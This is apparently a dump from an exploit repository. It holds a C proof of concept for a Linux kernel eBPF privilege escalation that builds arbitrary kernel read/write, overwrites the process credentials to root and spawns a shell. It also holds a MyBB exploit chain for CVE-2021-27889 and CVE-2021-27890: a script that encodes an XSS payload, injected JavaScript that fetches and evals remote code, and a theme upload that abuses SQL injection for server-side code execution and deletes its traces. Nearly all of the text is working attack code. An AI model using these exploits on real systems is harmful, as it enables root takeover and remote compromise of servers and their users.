err = bpf(BPF_MAP_UPDATE_ELEM, &update_map, sizeof(update_map)); 602 | if (err < 0) 603 | return 0; 604 | 605 | return 1; 606 | } 607 | 608 | 609 | static unsigned long test_oob_read(exploit_ctx *ctx) 610 | { 611 | 612 | // in this step, read the map_ops pointer at offset -272 off the base of the map 613 | struct bpf_insn instrs[] = { 614 | EXPLOIT_SKELETON 615 | 616 | 617 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, map_ops_off), 618 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 619 | BPF_LDX_MEM(BPF_DW, LEAKED_VAL_REG, CORRUPTED_PTR_REG, 0), 620 | 621 | // Finally, store the leaked OOB value in our map 622 | BPF_STX_MEM(BPF_DW, STORAGE_PTR_REG, LEAKED_VAL_REG, 8), 623 | 624 | // Exit 625 | BPF_EXIT_INSN(), 626 | 627 | }; 628 | 629 | int err = exec_prog(instrs, PROG_INSN_COUNT(instrs)); 630 | if (!err) 631 | return 0; 632 | 633 | err = read_storage_map(ctx, &ctx->map_ops, sizeof(void *)); 634 | if (!err) 635 | return 0; 636 | 637 | // Storage map[1] was initialized as 0. We tried to store the OOB read in it. 638 | // If it is still 0, the OOB read did not succeed 639 | if (ctx->map_ops == 0) 640 | return 0; 641 | 642 | return 1; 643 | } 644 | 645 | // the userspace struct is "incomplete" and doesn't contain the btf_id field 646 | struct bpf_map_info_kernel { 647 | __u32 type; 648 | __u32 id; 649 | __u32 key_size; 650 | __u32 value_size; 651 | __u32 max_entries; 652 | __u32 map_flags; 653 | char name[BPF_OBJ_NAME_LEN]; 654 | __u32 ifindex; 655 | __u32 btf_vmlinux_value_type_id; 656 | __u64 netns_dev; 657 | __u64 netns_ino; 658 | __u32 btf_id; 659 | __u32 btf_key_type_id; 660 | __u32 btf_value_type_id; 661 | } __attribute__((aligned(8))); 662 | 663 | static int arbitrary_read_4(exploit_ctx *ctx, void *addr, uint32_t *buf) 664 | { 665 | // keep the program fd around so we don't have to constantly load it 666 | static int read_prog_fd = 0; 667 | 668 | // 0x58 is the offset of ID from the beginning of the BTF struct 669 | addr -= 0x58; 670 | 671 | // we store the address we want to read in storage_map[1] 672 | int err = write_storage_map(ctx, &addr, sizeof(void *)); 673 | if (!err) 674 | return 0; 675 | 676 | // in this step, exploit the arbitrary read to read a local stack var into the storage map and compare 677 | struct bpf_insn instrs[] = { 678 | EXPLOIT_SKELETON 679 | 680 | // make it point to map->btf 0xd0 681 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, map_btf_off), 682 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 683 | 684 | // overwrite it with the address we want to read, we load this value from the storage map + 8 (+1 unsigned long) 685 | BPF_LDX_MEM(BPF_DW, LEAKED_VAL_REG, STORAGE_PTR_REG, 8), 686 | BPF_STX_MEM(BPF_DW, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 687 | 688 | // Exit 689 | BPF_EXIT_INSN(), 690 | 691 | }; 692 | 693 | if (!read_prog_fd) { 694 | read_prog_fd = load_prog(instrs, PROG_INSN_COUNT(instrs)); 695 | if (!read_prog_fd) 696 | return 0; 697 | } 698 | 699 | err = trigger_prog(read_prog_fd); 700 | if (!err) 701 | panic("Failed to load BPF program... Is the kernel vulnerable?", ctx); 702 | 703 | struct bpf_map_info_kernel info = {}; 704 | union bpf_attr get_info = { 705 | .info.bpf_fd = ctx->corrupt_map_fd, 706 | .info.info = (long long unsigned int)&info, 707 | .info.info_len = sizeof(info) 708 | }; 709 | err = bpf(BPF_OBJ_GET_INFO_BY_FD, &get_info, sizeof(get_info)); 710 | if (err == -1) 711 | return 0; 712 | 713 | *buf = info.btf_id; 714 | 715 | return 1; 716 | } 717 | 718 | // Wrapper to read arbitrary bytes 719 | static int arbitrary_read(exploit_ctx *ctx, void *addr, void *buf, size_t size) 720 | { 721 | while(size) { 722 | uint32_t cur; 723 | arbitrary_read_4(ctx, addr, &cur); 724 | 725 | if (size >= 4) { 726 | *(uint32_t *)buf = cur; 727 | size -= 4; 728 | addr += 4; 729 | buf += 4; 730 | } else { 731 | 732 | memcpy(buf, &cur, size); 733 | size = 0; 734 | } 735 | } 736 | 737 | return 1; 738 | } 739 | 740 | 741 | // test by first calling BPF_OBJ_GET_INFO_BY_FD, then perform the arbitrary read on the map_ops struct 742 | // and compare results; 743 | static unsigned long test_arbitrary_read(exploit_ctx *ctx) 744 | { 745 | 746 | uint32_t res, buf; 747 | int err; 748 | 749 | struct bpf_map_info_kernel info = {}; 750 | union bpf_attr get_info = { 751 | .info.bpf_fd = ctx->corrupt_map_fd, 752 | .info.info = (uint64_t)&info, 753 | .info.info_len = sizeof(info) 754 | }; 755 | err = bpf(BPF_OBJ_GET_INFO_BY_FD, &get_info, sizeof(get_info)); 756 | if (err == -1) 757 | return 0; 758 | 759 | res = info.btf_id; 760 | 761 | 762 | err = arbitrary_read_4(ctx, ctx->map_ops, &buf); 763 | if (!err) 764 | return 0; 765 | 766 | if (buf == res) 767 | return 0; 768 | 769 | return 1; 770 | } 771 | 772 | 773 | static unsigned long find_strtab(exploit_ctx *ctx) 774 | { 775 | 776 | // begin reading from the address of the map_ops until we find the null terminated string "init_pid_ns" 777 | char found = 0; 778 | 779 | const char init_pid_ns[] = "init_pid_ns"; 780 | 781 | char prev[sizeof(init_pid_ns)] = {}; 782 | char cur[sizeof(init_pid_ns)] = {}; 783 | void *cur_addr = ctx->map_ops; 784 | 785 | 786 | // count how many bytes are currently matching 787 | uint32_t matching = 0; 788 | 789 | // count how many bytes there are left to match 790 | uint32_t left = sizeof(init_pid_ns); 791 | 792 | // record where the match started 793 | void *match_start = 0; 794 | while (!found) { 795 | arbitrary_read(ctx, cur_addr, cur, sizeof(cur)); 796 | 797 | 798 | for (uint32_t idx = 0; idx < sizeof(init_pid_ns); idx++) { 799 | 800 | if (cur[idx] == init_pid_ns[matching]) { 801 | matching++; 802 | left--; 803 | 804 | if (matching == 1) 805 | match_start = cur_addr + idx; 806 | 807 | // if the bytes do not match, reset 808 | } else { 809 | matching = 0; 810 | left = sizeof(init_pid_ns); 811 | match_start = 0; 812 | } 813 | 814 | // Check if we got a full match 815 | if (left == 0) { 816 | 817 | 818 | // in this case store the candidate and reset and return 819 | ctx->init_pid_ns_name = match_start; 820 | 821 | return 1; 822 | } 823 | } 824 | 825 | 826 | 827 | cur_addr += sizeof(cur); 828 | } 829 | 830 | // we will never reach this statement. Either the string is (highly reliably) found or we search outside of the kernel and page fault 831 | return 1; 832 | } 833 | 834 | 835 | 836 | static unsigned long find_init_pid_ns(exploit_ctx *ctx) 837 | { 838 | 839 | // We now have the address of the string of the init_pid_ns within the string tab section. This string is referenced by the struct kernel_symbol entry of its smybol within 840 | // the symtab section 841 | // this means we just do another iterative search beginning from map_ops and look for this pointer 842 | void *cur_addr = ctx->map_ops; 843 | while(1) { 844 | int offset; 845 | 846 | arbitrary_read(ctx, cur_addr, &offset, sizeof(int)); 847 | 848 | // we found it! 849 | if (cur_addr + offset == ctx->init_pid_ns_name) { 850 | // the structure of a kernel symbol is UL struct kernel_symbol {int value_offset; int name_offset; ... } 851 | // so if we subtract 4 we get the offset to the actual symbol! 852 | int value_offset; 853 | arbitrary_read(ctx, cur_addr -4, &value_offset, sizeof(int)); 854 | 855 | ctx->init_pid_ns = cur_addr -4 + value_offset; 856 | return 1; 857 | } 858 | 859 | cur_addr += 1; 860 | } 861 | 862 | // this statement will never be reached. We either find the table entry or crash 863 | return 0; 864 | } 865 | 866 | 867 | struct xarray { 868 | int32_t xa_lock; 869 | int32_t xa_flags; 870 | void *xa_head; 871 | }; 872 | 873 | #define XA_CHUNK_SIZE 64 874 | 875 | struct xa_node { 876 | unsigned char shift; /* Bits remaining in each slot */ 877 | unsigned char offset; /* Slot offset in parent */ 878 | unsigned char count; /* Total entry count */ 879 | unsigned char nr_values; /* Value entry count */ 880 | struct xa_node *parent; /* NULL at top of tree */ 881 | struct xarray *array; /* The array we belong to */ 882 | char dummy[0x10]; // some dummy vals that replace annoying symbols and structs to deal with which we don't actually need 883 | void *slots[XA_CHUNK_SIZE]; 884 | }; 885 | 886 | #define radix_tree_node xa_node 887 | #define radix_tree_root xarray 888 | 889 | /* 890 | static unsigned radix_tree_load_root(const struct radix_tree_root *root, 891 | struct radix_tree_node **nodep) 892 | { 893 | struct radix_tree_node *node = rcu_dereference_raw(root->xa_head); 894 | 895 | *nodep = node; 896 | 897 | if (likely(radix_tree_is_internal_node(node))) { 898 | node = entry_to_node(node); 899 | return node->shift + RADIX_TREE_MAP_SHIFT; 900 | } 901 | 902 | *maxindex = 0; 903 | return 0; 904 | } */ 905 | 906 | #define offsetof(type, member) __builtin_offsetof (type, member) 907 | 908 | #define RADIX_TREE_ENTRY_MASK 3UL 909 | #define RADIX_TREE_INTERNAL_NODE 2UL 910 | #define XA_CHUNK_SHIFT 6 911 | #define RADIX_TREE_MAP_SHIFT XA_CHUNK_SHIFT 912 | #define RADIX_TREE_MAP_SIZE (1UL << RADIX_TREE_MAP_SHIFT) 913 | #define RADIX_TREE_MAP_MASK (RADIX_TREE_MAP_SIZE-1) 914 | 915 | static inline void *xa_mk_internal(unsigned long v) 916 | { 917 | return (void *)((v << 2) | 2); 918 | } 919 | 920 | #define XA_RETRY_ENTRY xa_mk_internal(256) 921 | #define RADIX_TREE_RETRY XA_RETRY_ENTRY 922 | 923 | static inline char radix_tree_is_internal_node(void *ptr) 924 | { 925 | return ((unsigned long)ptr & RADIX_TREE_ENTRY_MASK) == 926 | RADIX_TREE_INTERNAL_NODE; 927 | } 928 | 929 | static inline struct radix_tree_node *entry_to_node(void *ptr) 930 | { 931 | return (void *)((unsigned long)ptr & ~RADIX_TREE_INTERNAL_NODE); 932 | } 933 | 934 | static inline unsigned long shift_maxindex(unsigned int shift) 935 | { 936 | return (RADIX_TREE_MAP_SIZE << shift) - 1; 937 | } 938 | 939 | static inline unsigned long node_maxindex(const struct radix_tree_node *node) 940 | { 941 | return shift_maxindex(node->shift); 942 | } 943 | 944 | static unsigned radix_tree_load_root(exploit_ctx *ctx, const struct radix_tree_root *root, 945 | struct radix_tree_node **nodep, unsigned long *maxindex) 946 | { 947 | struct xa_node node_read = {}; 948 | struct xa_node *node; 949 | 950 | node = (struct xa_node *)root->xa_head; 951 | *nodep = node; 952 | if (radix_tree_is_internal_node(node)) { 953 | node = entry_to_node(node); 954 | arbitrary_read(ctx, node, &node_read, sizeof(node_read)); 955 | *maxindex = node_maxindex(&node_read); 956 | 957 | } else { 958 | *maxindex = 0; 959 | return 0; 960 | } 961 | } 962 | 963 | static unsigned int radix_tree_descend(exploit_ctx *ctx, struct radix_tree_node *parent, 964 | struct radix_tree_node **nodep, unsigned long index) 965 | { 966 | 967 | struct xa_node parent_read = {}; 968 | arbitrary_read(ctx, parent, &parent_read, sizeof(parent_read)); 969 | unsigned int offset = (index >> parent_read.shift) & RADIX_TREE_MAP_MASK; 970 | void **entry = parent_read.slots[offset]; 971 | 972 | *nodep = (void *)entry; 973 | return offset; 974 | } 975 | 976 | 977 | static unsigned long find_task_struct(exploit_ctx *ctx) 978 | { 979 | // First, get the radix tree root and the base 980 | struct xarray radix_root = {}; 981 | arbitrary_read(ctx, ctx->init_pid_ns + radix_tree_root_off, &radix_root, sizeof(radix_root)); 982 | 983 | // Get the IDR base index (it comes after the radix root) 984 | uint32_t idr_base; 985 | arbitrary_read(ctx, ctx->init_pid_ns + radix_tree_root_off + sizeof(struct xarray), &idr_base, sizeof(idr_base)); 986 | 987 | ctx->pid -= idr_base; 988 | 989 | 990 | // Get the 991 | 992 | // Descend the tree until we find out pid struct 993 | //printf("abc slots pointer should be %p (offsetof=%lx)\n ", node + offsetof(struct xa_node, slots), offsetof(struct xa_node, slots)); 994 | 995 | struct xa_node *node, *parent; 996 | struct xa_node node_read = {}; 997 | unsigned long max_index = 0; 998 | restart: 999 | parent = NULL; 1000 | // First step is to load the root node. this corresponds to radix_tree_load_root() 1001 | radix_tree_load_root(ctx, &radix_root, &node, &max_index); 1002 | 1003 | while (radix_tree_is_internal_node(node)) { 1004 | unsigned offset; 1005 | parent = entry_to_node(node); 1006 | // the PID is the index we are looking for 1007 | offset = radix_tree_descend(ctx, parent, &node, ctx->pid); 1008 | 1009 | arbitrary_read(ctx, parent, &node_read, sizeof(node_read)); 1010 | 1011 | if (node == RADIX_TREE_RETRY) 1012 | goto restart; 1013 | 1014 | if (node_read.shift == 0) 1015 | break; 1016 | } 1017 | 1018 | 1019 | // At this point, node contains the struct pid * pointer to the PID struct belonging to our task 1020 | // we just need to convert it to the task_struct 1021 | // the PID struct contains an array of lists, each containing a list of tasks that use the PID of the PID type (PID, TGID etc.) 1022 | // since this task does not have any threads, there is only one entry in the list. All we need to do is read the first entry in the PID list and convert it to the task_struct pointer 1023 | void *first; 1024 | arbitrary_read(ctx, (void *)node + pid_tasks_off, &first, sizeof(void *)); 1025 | // the first entry of the PID list points to the list struct within the containing, task which his at offset 0x500. 1026 | ctx->task_struct = first - list_task_off; 1027 | 1028 | 1029 | // read the file descriptor table to get the private data pointer of the corrupted map, we will use it to store a copy of the function pointers of map ops in there. 1030 | // this way we can achieve arbitrary write later. 1031 | // also, store a pointer to the creds struct for later 1032 | void *cred, *real_cred, *files; 1033 | arbitrary_read(ctx, ctx->task_struct + cred_off, &cred, sizeof(void *)); 1034 | arbitrary_read(ctx, ctx->task_struct + files_off, &files, sizeof(void *)); 1035 | 1036 | ctx->cred = cred; 1037 | ctx->files = files; 1038 | //ctx->real_cred = real_cred; 1039 | 1040 | // we also want to obtain a pointer to the corrupt map itself. To do this, we dereference files to get the struct files_struct. From there we dereference the fd table pointer 1041 | // and use the corrupt map FD as offset to obtain the struct file pointer of the map. Finally, we read private_data. 1042 | 1043 | // now read the fdtab pointer 1044 | void *fdtable; 1045 | arbitrary_read(ctx, ctx->files + fdtab_off, &fdtable, sizeof(void *)); 1046 | int32_t count; 1047 | arbitrary_read(ctx, ctx->files, &count, sizeof(int32_t)); 1048 | // now, read the pointer to the fd array 1049 | void *fd; 1050 | arbitrary_read(ctx, fdtable + fd_off, &fd, sizeof(void *)); 1051 | // now add the offset of the corrupt map 1052 | uint64_t off = ctx->corrupt_map_fd * sizeof(void *); 1053 | void *file; 1054 | arbitrary_read(ctx, fd + off, &file, sizeof(void *)); 1055 | // Finally, read the private_data field 1056 | void *map; 1057 | arbitrary_read(ctx, file + private_data_off, &map, sizeof(void *)); 1058 | ctx->corrupt_map = map; 1059 | 1060 | return 1; 1061 | } 1062 | 1063 | static int arbitrary_write_4(exploit_ctx *ctx, void *addr, uint32_t val) 1064 | { 1065 | 1066 | uint32_t data[STORAGE_MAP_SIZE / sizeof(uint32_t)]; 1067 | memset(data, 0, sizeof(data)); 1068 | 1069 | // in order to get 0 we need to set the value to 2**32 1070 | if (val == 0) { 1071 | val = UINT32_MAX; 1072 | } else { 1073 | // all other values are just -1 1074 | val -= 1; 1075 | } 1076 | 1077 | data[0] = val; 1078 | 1079 | uint64_t key = 0; 1080 | 1081 | union bpf_attr update_map = { 1082 | .map_fd = ctx->corrupt_map_fd, 1083 | .key = (uint64_t)&key, 1084 | .value = (uint64_t)data, 1085 | .flags = (uint64_t)addr, 1086 | }; 1087 | int err = bpf(BPF_MAP_UPDATE_ELEM, &update_map, sizeof(update_map)); 1088 | if (err < 0) 1089 | return 0; 1090 | 1091 | return 1; 1092 | } 1093 | 1094 | // overwrites the credentials of the current task using the arbitrary write primitive 1095 | static unsigned long overwrite_creds(exploit_ctx *ctx) 1096 | { 1097 | // the first step in overwriting the credentials is to create a false copy of the array_map_ops structure. 1098 | void *bpf_map_ops_copy[bpf_map_ops_size / sizeof(void *)]; 1099 | arbitrary_read(ctx, ctx->map_ops, bpf_map_ops_copy, sizeof(bpf_map_ops_copy)); 1100 | 1101 | void *next_key = bpf_map_ops_copy[bpf_map_get_nex_key_off / sizeof(void *)]; 1102 | bpf_map_ops_copy[bpf_map_push_elem_off / sizeof(void *)] = next_key; 1103 | 1104 | // now store the faked vtable in the corrupt map 1105 | write_corrupt_map(ctx, bpf_map_ops_copy, sizeof(bpf_map_ops_copy)); 1106 | 1107 | // the next steps are the following: 1108 | // - set spinlock to 0 to bypass some checks 1109 | // - set max_entries to 2**32 1110 | // - set map_type to BPF_MAP_TYPE_STACK 1111 | // - overwrite map_ops 1112 | struct bpf_insn instrs[] = { 1113 | EXPLOIT_SKELETON 1114 | 1115 | // Create a copy of the invalid offset reg since we are overwriting more than one value here 1116 | BPF_MOV64_REG(EXTRA_REG, INVALID_OFFSET_REG), 1117 | 1118 | // make it point to the spinlock 1119 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, map_spinlock_off), 1120 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1121 | 1122 | // set it to 0 1123 | BPF_LD_IMM64(LEAKED_VAL_REG, 0), 1124 | BPF_STX_MEM(BPF_W, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 1125 | // reset the pointer and the offset reg 1126 | BPF_ALU64_REG(BPF_ADD, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1127 | BPF_MOV64_REG(INVALID_OFFSET_REG, EXTRA_REG), 1128 | 1129 | 1130 | // make it point to max_entries 1131 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, max_entries_off), 1132 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1133 | 1134 | // set it to 0xffffffff 1135 | BPF_LD_IMM64(LEAKED_VAL_REG, 0xffffffff), 1136 | BPF_STX_MEM(BPF_W, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 1137 | // reset the pointer 1138 | BPF_ALU64_REG(BPF_ADD, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1139 | BPF_MOV64_REG(INVALID_OFFSET_REG, EXTRA_REG), 1140 | 1141 | 1142 | // make it point to map_type 1143 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, map_type_off), 1144 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1145 | 1146 | // set it to BPF_MAP_TYPE_STACK 1147 | BPF_LD_IMM64(LEAKED_VAL_REG, BPF_MAP_TYPE_STACK), 1148 | BPF_STX_MEM(BPF_W, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 1149 | // reset the pointer 1150 | BPF_ALU64_REG(BPF_ADD, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1151 | BPF_MOV64_REG(INVALID_OFFSET_REG, EXTRA_REG), 1152 | 1153 | // Finally overwrite the map ops struct so that it points to the faked vtable 1154 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, map_ops_off), 1155 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1156 | 1157 | // set it to BPF_MAP_TYPE_STACK 1158 | BPF_LD_IMM64(LEAKED_VAL_REG, (uint64_t)(ctx->corrupt_map + map_ops_off)), 1159 | BPF_STX_MEM(BPF_DW, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 1160 | // reset the pointer 1161 | BPF_ALU64_REG(BPF_ADD, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1162 | BPF_MOV64_REG(INVALID_OFFSET_REG, EXTRA_REG), 1163 | 1164 | 1165 | // Exit 1166 | BPF_EXIT_INSN(), 1167 | 1168 | }; 1169 | 1170 | 1171 | int err = exec_prog(instrs, PROG_INSN_COUNT(instrs)); 1172 | if (!err) { 1173 | return 0; 1174 | } 1175 | 1176 | // now trigger Arbitrary write to overwrite the credentials 1177 | arbitrary_write_4(ctx, ctx->cred + uid_off, 0); 1178 | arbitrary_write_4(ctx, ctx->cred + gid_off, 0); 1179 | arbitrary_write_4(ctx, ctx->cred + euid_off, 0); 1180 | 1181 | // mark that an arbitrary write has occured so that the clean up function knows how to do its cleanup! 1182 | ctx->write_occured = 1; 1183 | 1184 | return 1; 1185 | 1186 | } 1187 | 1188 | 1189 | // Clean up function. For example, resets the BTF pointer back to 0 so the map won't crash the 1190 | // kernel when it is freed and the btf pointer dereferenced 1191 | static unsigned long cleanup(exploit_ctx *ctx) 1192 | { 1193 | 1194 | // depending on when the clean up happens (before a write occured) or after the exploit succeeded 1195 | // the clean up is different. If a write has occured, the map type is now a stack so we can't just go and write as we 1196 | // used to. Instead we just use the arbitrary write primitive to clean up 1197 | if (ctx->write_occured) { 1198 | 1199 | void *map_beginning = ctx->corrupt_map + map_ops_off; 1200 | 1201 | // all the offsets we have for the BPF map are negative from the beginning of the actual chunk 1202 | // we have to reset map type etc to get the correct functions in the end 1203 | arbitrary_write_4(ctx, map_beginning - map_btf_off, 0); 1204 | arbitrary_write_4(ctx, map_beginning - map_btf_off + 4, 0); 1205 | //arbitrary_write_4(ctx, map_beginning - max_entries_off, 1); 1206 | arbitrary_write_4(ctx, map_beginning - map_type_off, BPF_MAP_TYPE_ARRAY); 1207 | } else { 1208 | 1209 | 1210 | struct bpf_insn instrs[] = { 1211 | EXPLOIT_SKELETON 1212 | 1213 | // make it point to map->btf 1214 | BPF_ALU64_IMM(BPF_MUL, INVALID_OFFSET_REG, 0xd0), 1215 | BPF_ALU64_REG(BPF_SUB, CORRUPTED_PTR_REG, INVALID_OFFSET_REG), 1216 | 1217 | // set it to 0 1218 | BPF_LD_IMM64(LEAKED_VAL_REG, 0x0), 1219 | BPF_STX_MEM(BPF_DW, CORRUPTED_PTR_REG, LEAKED_VAL_REG , 0), 1220 | 1221 | // Exit 1222 | BPF_EXIT_INSN(), 1223 | 1224 | }; 1225 | 1226 | int err = exec_prog(instrs, PROG_INSN_COUNT(instrs)); 1227 | if (!err) 1228 | return 0; 1229 | } 1230 | return 1; 1231 | } 1232 | 1233 | 1234 | static unsigned long exploit_stage(int stage, exploit_ctx *ctx) 1235 | { 1236 | switch (stage) { 1237 | case SETUP_MAPS: 1238 | return setup_maps(&ctx->corrupt_map_fd, &ctx->storage_map_fd); 1239 | case TEST_OOB_READ: 1240 | return test_oob_read(ctx); 1241 | case TEST_ARBITRARY_READ: 1242 | return test_arbitrary_read(ctx); 1243 | case FIND_STRTAB: 1244 | return find_strtab(ctx); 1245 | case FIND_INIT_PID_NS: 1246 | return find_init_pid_ns(ctx); 1247 | case FIND_TASK_STRUCT: 1248 | return find_task_struct(ctx); 1249 | case OVERWRITE_CREDS: 1250 | return overwrite_creds(ctx); 1251 | case CLEANUP: 1252 | return cleanup(ctx); 1253 | default: 1254 | return 0; 1255 | } 1256 | } 1257 | 1258 | void panic(const char *msg, exploit_ctx *ctx) 1259 | { 1260 | fprintf(stderr, "[-] %s\n", msg); 1261 | 1262 | if (ctx != NULL && ctx->needs_cleanup) 1263 | exploit_stage(CLEANUP, ctx); 1264 | 1265 | exit(1); 1266 | } 1267 | 1268 | 1269 | 1270 | int main(int argc, char **argv) { 1271 | exploit_ctx ctx = {}; 1272 | if (! exploit_stage(SETUP_MAPS, &ctx)) 1273 | panic("Could not create BPF maps. Is BPF enabled on this kernel?", &ctx); 1274 | 1275 | printf("[+] Created BPF maps and confirmed BPF is enabled on this kernel.\n"); 1276 | 1277 | if (!exploit_stage(TEST_OOB_READ, &ctx)) 1278 | panic("OOB read test failed! Is the kernel vulnerable?", &ctx); 1279 | 1280 | printf("[+] OOB read succeeded! The kernel is vulnerable\n"); 1281 | printf("[*] map_ops=%p\n", ctx.map_ops); 1282 | 1283 | 1284 | if (! exploit_stage(TEST_ARBITRARY_READ, &ctx)) 1285 | panic("Could not verify that the arbitrary read worked", &ctx); 1286 | 1287 | printf("[+] Tested arbitrary read primitive successfully\n"); 1288 | ctx.needs_cleanup = 1; 1289 | 1290 | printf("[*] Looking for 'init_pid_ns' entry in kstrtab section...\n"); 1291 | 1292 | if (! exploit_stage(FIND_STRTAB, &ctx)) 1293 | panic("Could not find kstrtab section", &ctx); 1294 | 1295 | printf("[*] Found 'init_pid_ns' string at %p\n", ctx.init_pid_ns_name); 1296 | 1297 | printf("[*] Looking for 'init_pid_ns' symbol in ksymtab section...\n"); 1298 | if (! exploit_stage(FIND_INIT_PID_NS, &ctx)) 1299 | panic("Could not find init_pid_ns", &ctx); 1300 | 1301 | printf("[*] init_pid_ns=%p\n", ctx.init_pid_ns); 1302 | 1303 | ctx.pid = getpid(); 1304 | if (! exploit_stage(FIND_TASK_STRUCT, &ctx)) 1305 | panic("Could not find the task struct", &ctx); 1306 | 1307 | printf("[+] Found task struct at %p\n", ctx.task_struct); 1308 | 1309 | printf("[*] Now overwriting credentials. See you on the other side!\n"); 1310 | 1311 | if (! exploit_stage(OVERWRITE_CREDS, &ctx)) 1312 | panic("Could not overwrite creds of task", &ctx); 1313 | 1314 | system("sh"); 1315 | 1316 | if (! exploit_stage(CLEANUP, &ctx)) 1317 | panic("Could not perform cleanup", &ctx); 1318 | 1319 | } 1320 | -------------------------------------------------------------------------------- /CVE-2021-27889+CVE-2021-27890/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | with open('injector.js', 'r') as f: 6 | print("[img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(" + ','.join(map(str, map(ord, list(f.read())))) + "));//[/img]" ) 7 | 8 | -------------------------------------------------------------------------------- /CVE-2021-27889+CVE-2021-27890/exec.js: -------------------------------------------------------------------------------- 1 | // namespace to hold all things related to the exploit 2 | window.x = {}; 3 | 4 | // important to encode more complex payloads as this just gets interposed into the xml 5 | // the two single quotes are important 6 | window.x.payload = "'wget localhost/successful_execution'"; 7 | // name of the theme to upload 8 | window.x.theme_name = "new_theme_test"; 9 | 10 | // get prefix of the mybb tables, this is mybb_ per default, but might be different 11 | fetch('/mybb1825/admin/index.php?module=tools-optimizedb').then(function a(response) { 12 | return response.text(); 13 | }).then(function b(body) { 14 | window.x.body = body; 15 | window.x.prefix = body.match('value="(.*_)adminlog"')[1]; 16 | 17 | // check if we found the prefix, might as well just set the prefix to mybb_ in this case 18 | if(!window.x.prefix) { alert('could not find prefix')} 19 | // check for post_key 20 | if(!my_post_key) { alert('could not find my_post_key')} 21 | 22 | // upload template 23 | window.x.template = atob("PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48dGhlbWUgbmFtZT0iRGVmYXVsdCIgdmVyc2lvbj0iMTgyMSI+ICAgICAgICA8cHJvcGVydGllcz4gICAgPHRlbXBsYXRlc2V0PicpIEFORCAxPTAgVU5JT04gU0VMRUNUIHRpdGxlLCAnJHtwYXNzdGhydSgn") + window.x.payload + atob("Jyl9JyBmcm9tIA==") + window.x.prefix + atob("dGVtcGxhdGVzIC0tIDwvdGVtcGxhdGVzZXQ+ICAgICAgICA8L3Byb3BlcnRpZXM+PC90aGVtZT4="); 24 | 25 | window.x.formdata = new FormData(); 26 | 27 | window.x.blob = new Blob([window.x.template], {type : "text/xml"}); 28 | 29 | window.x.formdata.append("local_file", window.x.blob); 30 | window.x.formdata.append("my_post_key", my_post_key); 31 | window.x.formdata.append("name", window.x.theme_name); 32 | window.x.formdata.append("tid", "1"); 33 | window.x.formdata.append("import_stylesheets", "0"); 34 | window.x.formdata.append("import_templates", "1"); 35 | window.x.formdata.append("import", "0"); 36 | 37 | window.x.request = new XMLHttpRequest(); 38 | window.x.request.open("POST", "/mybb1825/admin/index.php?module=style-themes&action=import"); 39 | window.x.request.onreadystatechange = function() { 40 | fetch_id_and_change(); 41 | 42 | } 43 | window.x.request.send(window.x.formdata); 44 | 45 | 46 | }) 47 | 48 | // get current theme, switch themes, trigger php code execution, restore default theme and delete uploaded theme 49 | function fetch_id_and_change() { 50 | fetch("/mybb1825/admin/index.php?module=style").then(function a(resp) { 51 | return resp.text(); 52 | }).then(function b(body) { 53 | window.x.current_theme = body.match(/Default Theme\" \/><\/div>
/)[1]; 54 | window.x.theme_id = body.match('tid=(\\d+)">' + window.x.theme_name)[1]; 55 | fetch("/mybb1825/admin/index.php?module=style-themes&action=set_default&tid=" + window.x.theme_id + "&my_post_key=" + my_post_key).then(function a() { 56 | // trigger rce 57 | fetch("/").then(() => { 58 | fetch("/mybb1825/admin/index.php?module=style-themes&action=set_default&tid=" + window.x.current_theme + "&my_post_key=" + my_post_key) 59 | }).then(() => { 60 | fetch("/mybb1825/admin/index.php?module=style-themes&action=delete&tid=" + window.x.theme_id + "&my_post_key=" + my_post_key, {method: 'POST'}); 61 | }); 62 | }); 63 | }) 64 | } 65 | 66 | -------------------------------------------------------------------------------- /CVE-2021-27889+CVE-2021-27890/injector.js: -------------------------------------------------------------------------------- 1 | this.style.display = "none"; 2 | document.body.innerHTML = document.body.innerHTML.replace(/http:\/\/x\.com\/.*\/>/gm,''); 3 | fetch("http://localhost/exec.js").then((a) => {return a.text()}).then((a) => {eval(a)}); 4 | -------------------------------------------------------------------------------- /CVE-2021-27889+CVE-2021-27890/theme.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /CVE-2021-27889+CVE-2021-27890/writeup_exploit.txt: -------------------------------------------------------------------------------- 1 | # What the exploit does: 2 | Use XSS to upload a theme, that abuses the SQL injection to achieve template injection in order to execute code on the server. 3 | The exploit also parses which theme is currently selected and restores the theme after successful execution. 4 | It also deletes the uploaded theme to remove exploit artifacts. 5 | 6 | 7 | # Steps to use the exploit: 8 | Serve the 'exec.js' file on an attacker controlled server 9 | 10 | 11 | 